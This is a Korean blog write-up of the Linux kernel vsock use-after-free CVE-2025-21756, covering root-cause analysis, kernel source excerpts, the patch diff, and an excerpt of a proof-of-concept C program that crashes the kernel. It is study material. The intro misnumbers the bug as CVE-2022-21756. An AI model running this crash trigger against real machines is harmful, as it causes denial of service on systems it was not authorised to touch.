Intro
TOOR 팀 활동을 하며 분석하게 된 리눅스의 소켓 패밀리 중 vsock과 관련된 리눅스 커널 UAF 취약점입니다!

히히 ㅠㅠㅠㅠ 😭 요즘따라 무지막지하게 바쁘네요! 포스팅이 도대체 얼마나 밀려버린건지 전 글에도 작성해야할게 많이 남았네요! 살려주세요
이번 포스팅에서 알아볼 취약점은? 뭘까요?

피 피캇츄

짜잔 이번에 알아볼 친구는 리눅스 vsock과 관련된 커널 취약점이군요!

CVE-2022-21756은 2025년 1월경 커밋이 올라오고 2025년 2월 26일에 취약점 정보가 공개된 리눅스 커널 UAF 취약점입니다! vsock에서 사용하는 참조 카운트가 잘못 카운트되어 의도치않게 객체가 해제되어버리는 간단한 취약점입니다.
본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료들은 다음과 같습니다.
- https://hoefler.dev/articles/vsock.html
- https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b
- https://github.com/hoefler02/CVE-2025-21756
- https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml
Vuln
- CVE-ID : CVE-2025-21756
- CWE : CWE-416
Background
자~ 이번 취약점도 다른 취약점들과 같이 이해하기 위해서 몇 가지 배경 지식이 필요합니다. 취약점에 대해서 알아들을 수 있을 정도로 간단하게 한번 알아보도록 합시다!
Vsock overview

vsock은 리눅스상에서 가상머신과 호스트간의 통신 편의를 위해 2013년 2월에 VMWare사에서 추가한 리눅스 소켓 인터페이스 중 하나입니다. 다른 OS와 관련된 이야기는 생략하겠습니다. 해당 소켓 패밀리는 호스트의 네트워크 스택에 전혀 의존하지 않기 때문에 해당 패밀리의 소켓을 통해서 네트워크 설정이 필요없이 하이퍼바이저와 게스트간의 통신이 가능합니다.
Vsock in the source code
struct vsock_sock
커널 영역에서는 vsock 소켓을 다음과 같이 표현하고 있습니다. 이때, sock 구조체를 첫 번째 멤버로 가지고 있고, vsock_transport 함수 포인터 테이블을 가지고 있습니다.
struct vsock_sock { /* sk must be the first member. */ struct sock sk; const struct vsock_transport *transport; ... /* Links for the global tables of bound and connected sockets. */ struct list_head bound_table; struct list_head connected_table;...};struct sock
socket 구조체가 유저 영역에서의 소켓에 대한 API라면, 즉, 인터페이스라면 sock 구조체는 커널 영역에서의 소켓에 대한 구현체며, 실질적인 네트워크 처리를 담당하는 구조체입니다.
struct sock {...#define sk_refcnt __sk_common.skc_refcnt...};sock 구조체는 리눅스 커널의 동적 메모리 영역에 할당되며, 레퍼런스 카운트를 가지고 있습니다.
struct list_head vsock_bind_table
위에서 언급한 vsock_sock 구조체 내의 bound_table, connected_table 멤버는 전역에 존재하는 vsock 소켓의 상태를 관리하는 리스트에 삽입되기 위해 존재하는 멤버입니다. vsock 영역의 코드는 이를 통해서 특정 vsock 소켓의 현재 상태가 어떤지 관리를 하게됩니다. vsock 소켓은 소켓에 대한 연산(bind, connect 등)에 의해서 해당 리스트에 연결되거나 해제됩니다.
/* Each bound VSocket is stored in the bind hash table and each connected * VSocket is stored in the connected hash table. * * Unbound sockets are all put on the same list attached to the end of the hash * table (vsock_unbound_sockets). Bound sockets are added to the hash table in * the bucket that their local address hashes to (vsock_bound_sockets(addr) * represents the list that addr hashes to). * * Specifically, we initialize the vsock_bind_table array to a size of * VSOCK_HASH_SIZE + 1 so that vsock_bind_table[0] through * vsock_bind_table[VSOCK_HASH_SIZE - 1] are for bound sockets and * vsock_bind_table[VSOCK_HASH_SIZE] is for unbound sockets. The hash function * mods with VSOCK_HASH_SIZE to ensure this. */#define MAX_PORT_RETRIES 24
#define VSOCK_HASH(addr) ((addr)->svm_port % VSOCK_HASH_SIZE)#define vsock_bound_sockets(addr) (&vsock_bind_table[VSOCK_HASH(addr)])#define vsock_unbound_sockets (&vsock_bind_table[VSOCK_HASH_SIZE])
/* XXX This can probably be implemented in a better way. */#define VSOCK_CONN_HASH(src, dst) \ (((src)->svm_cid ^ (dst)->svm_port) % VSOCK_HASH_SIZE)#define vsock_connected_sockets(src, dst) \ (&vsock_connected_table[VSOCK_CONN_HASH(src, dst)])#define vsock_connected_sockets_vsk(vsk) \ vsock_connected_sockets(&(vsk)->remote_addr, &(vsk)->local_addr)
struct list_head vsock_bind_table[VSOCK_HASH_SIZE + 1];EXPORT_SYMBOL_GPL(vsock_bind_table);struct list_head vsock_connected_table[VSOCK_HASH_SIZE];EXPORT_SYMBOL_GPL(vsock_connected_table);DEFINE_SPINLOCK(vsock_table_lock);EXPORT_SYMBOL_GPL(vsock_table_lock);이때 연결과 해당 리스트에 연결과 해제되는 과정에서 앞서 언급한 sock의 refcnt는 참조에의해 증가되거나 감소됩니다. 이와 관련된 루틴에서 취약점이 발생하게 되는데 이를 알아봅시다.
RCA
커밋 기록(3f43540166128951cc1be7ab1ce6b7f05c670d8b)을 살펴보면 친절하게 설명이 되어있습니다.
Preserve sockets bindings; this includes both resulting from an explicitbind() and those implicitly bound through autobind during connect().
Prevents socket unbinding during a transport reassignment, which fixes ause-after-free:
1. vsock_create() (refcnt=1) calls vsock_insert_unbound() (refcnt=2) 2. transport->release() calls vsock_remove_bound() without checking if sk was bound and moved to bound list (refcnt=1) 3. vsock_bind() assumes sk is in unbound list and before __vsock_insert_bound(vsock_bound_sockets()) calls __vsock_remove_bound() which does: list_del_init(&vsk->bound_table); // nop sock_put(&vsk->sk); // refcnt=0글에 따르면 vsock_create로 만들어진 소켓은 unbound 리스트로 들어가게됩니다. 이후 vsock_connect에 의해 호출되는 transport->release()에서 sock의 bound 여부를 체크하지 않고 참조 카운트를 줄인다는 것을 알 수 있습니다.(이는 아래서 언급하겠습니다.), 이때 논리적 오류가 있는데, vsock_remove_bound가 unbound 리스트에 있는 vsock에 대해서 호출되고 있다는 점입니다. 따라서 참조 카운트는 의도치 않게 감소됩니다. 여기서 transport는 앞서 vsock_sock의 함수 포인터 테이블에 정의되어있는 함수입니다.
struct vsock_transport { struct module *module;
/* Initialize/tear-down socket. */ int (*init)(struct vsock_sock *, struct vsock_sock *); void (*destruct)(struct vsock_sock *); void (*release)(struct vsock_sock *); ...};소켓을 대상으로 connect 함수를 호출하게되면 다음과 같이 transport를 할당? 배정하는 과정을 갖게됩니다.
static int vsock_connect(struct socket *sock, struct sockaddr *addr, int addr_len, int flags){ ... err = vsock_assign_transport(vsk, NULL); ...}이때 vsock_assign_transport를 들여다보면 transport가 이미 존재할 경우 기존의 transport를 정리하는 모습을 볼 수 있습니다.
int vsock_assign_transport(struct vsock_sock *vsk, struct vsock_sock *psk){ const struct vsock_transport *new_transport; struct sock *sk = sk_vsock(vsk); unsigned int remote_cid = vsk->remote_addr.svm_cid; __u8 remote_flags; int ret;
... if (vsk->transport) { if (vsk->transport == new_transport) return 0;
/* transport->release() must be called with sock lock acquired. * This path can only be taken during vsock_connect(), where we * have already held the sock lock. In the other cases, this * function is called on a new socket which is not assigned to * any transport. */ vsk->transport->release(vsk); vsock_deassign_transport(vsk);
/* transport's release() and destruct() can touch some socket * state, since we are reassigning the socket to a new transport * during vsock_connect(), let's reset these fields to have a * clean state. */ sock_reset_flag(sk, SOCK_DONE); sk->sk_state = TCP_CLOSE; vsk->peer_shutdown = 0; } ... vsk->transport = new_transport;
return 0;}EXPORT_SYMBOL_GPL(vsock_assign_transport);이 과정에서 호출되는 release에서는 앞서 언급했듯, 해당 소켓이 바운드 되어있는지 안되어있는지에 대한 체크없이 refcnt를 감소 시켜버립니다.
static void __vsock_release(struct sock *sk, int level){... vsock_remove_sock(vsk);...}...void vsock_remove_sock(struct vsock_sock *vsk){ vsock_remove_bound(vsk); vsock_remove_connected(vsk);}EXPORT_SYMBOL_GPL(vsock_remove_sock);...static void __vsock_remove_bound(struct vsock_sock *vsk){ list_del_init(&vsk->bound_table); sock_put(&vsk->sk);}/* Ungrab socket and destroy it, if it was the last reference. */static inline void sock_put(struct sock *sk){ if (refcount_dec_and_test(&sk->sk_refcnt)) sk_free(sk);}unbound 리스트에 있음에도 불구하고, transport의 재할당과 관련된 루틴에서는 이를 체크하지 않기 때문에, 특정 상황에서 refcnt를 감소시킬 수 있습니다.
이후 vsock_bind가 호출될 때, vsock_bind는 해당 vsock이 unbound 리스트에 있다 생각하고 있으니, 검증 루틴을 넘어갈 수 있게됩니다.
static int __vsock_bind(struct sock *sk, struct sockaddr_vm *addr){ struct vsock_sock *vsk = vsock_sk(sk); int retval;
/* First ensure this socket isn't already bound. */ if (vsock_addr_bound(&vsk->local_addr)) return -EINVAL; ...}vsock_remove_bound를 호출하여 unbound 리스트에서 제거하게됩니다.
/* Remove connection oriented sockets from the unbound list and add them * to the hash table for easy lookup by its address. The unbound list * is simply an extra entry at the end of the hash table, a trick used * by AF_UNIX. */ __vsock_remove_bound(vsk); __vsock_insert_bound(vsock_bound_sockets(&vsk->local_addr), vsk);결과적으로 의도치 않은 객체 해제로 UAF가 발생하게 됩니다.
PoC
PoC는 여기에서 확인할 수 있습니다. hoefler님께서 커밋 로그에 기록된 PoC를 살짝 수정하여 동작이 가능한 바이너리로 컴파일할 수 있게 수정했다합니다. 하하
PoC는 이해하기 쉽게 작성되어있어서 앞선 과정만 이해했다면 크게 무리 없이 이해할 수 있습니다. socket create → connect → connect → bind 의 순으로 함수를 호출하게되고 앞서 알아본 과정으로 레퍼런스 카운트의 잘못된 감소로 커널 크래시가 발생하게 됩니다.
...int main(void) {... // wait for input puts("Setup Finished..."); getchar();
s = socket(AF_VSOCK, SOCK_STREAM, 0); if (s < 0) { perror("socket"); exit(EXIT_FAILURE); }
if (!connect(s, (struct sockaddr *)&addr, alen)) { fprintf(stderr, "Unexpected connect() #1 success\n"); exit(EXIT_FAILURE); } // connect() #1 failed: transport set, sk in unbound list.
addr.svm_cid = VMADDR_CID_NONEXISTING; addr.svm_port = VMADDR_PORT_ANY; if (!connect(s, (struct sockaddr *)&addr, alen)) { fprintf(stderr, "Unexpected connect() #2 success\n"); exit(EXIT_FAILURE); } // connect() #2 failed: transport unset, sk ref dropped?
// wait for input puts("Press for Crash..."); getchar();
// Vulnerable system may crash now. [USE THE DANGLING POINTER] bind(s, (struct sockaddr *)&addr, alen);
// wait for input getchar();
close(s); while (i--) close(sockets[i]);}Video
PoC
커널 크래시 빠밤콰쾅
Patch
패치에서는 SOCK_DEAD 플래그를 확인함으로써 transport가 재할당될 때 바인딩을 해제하는 것을 방지하고 있습니다. 이때 코드 하단에 존재하던 sock_orphan 호출 코드는 상단으로 재배치 되었습니다.
--- a/net/vmw_vsock/af_vsock.c+++ b/net/vmw_vsock/af_vsock.c@@ -336,7 +336,10 @@ EXPORT_SYMBOL_GPL(vsock_find_connected_socket);
void vsock_remove_sock(struct vsock_sock *vsk) {- vsock_remove_bound(vsk);+ /* Transport reassignment must not remove the binding. */+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))+ vsock_remove_bound(vsk);+ vsock_remove_connected(vsk); } EXPORT_SYMBOL_GPL(vsock_remove_sock);@@ -820,12 +823,13 @@ static void __vsock_release(struct sock *sk, int level) */ lock_sock_nested(sk, level);
+ sock_orphan(sk);+ if (vsk->transport) vsk->transport->release(vsk); else if (sock_type_connectible(sk->sk_type)) vsock_remove_sock(vsk);
- sock_orphan(sk); sk->sk_shutdown = SHUTDOWN_MASK;
skb_queue_purge(&sk->sk_receive_queue);Mitigation
- 해당 취약점에 대한 커널 업그레이드를 진행하세용 ^~^
References
- https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3f43540166128951cc1be7ab1ce6b7f05c670d8b
- https://github.com/hoefler02/CVE-2025-21756
- https://docs.google.com/spreadsheets/d/e/2PACX-1vS1REdTA29OJftst8xN5B5x8iIUcxuK6bXdzF8G1UXCmRtoNsoQ9MbebdRdFnj6qZ0Yd7LwQfvYC2oF/pubhtml
- https://hoefler.dev/articles/vsock.html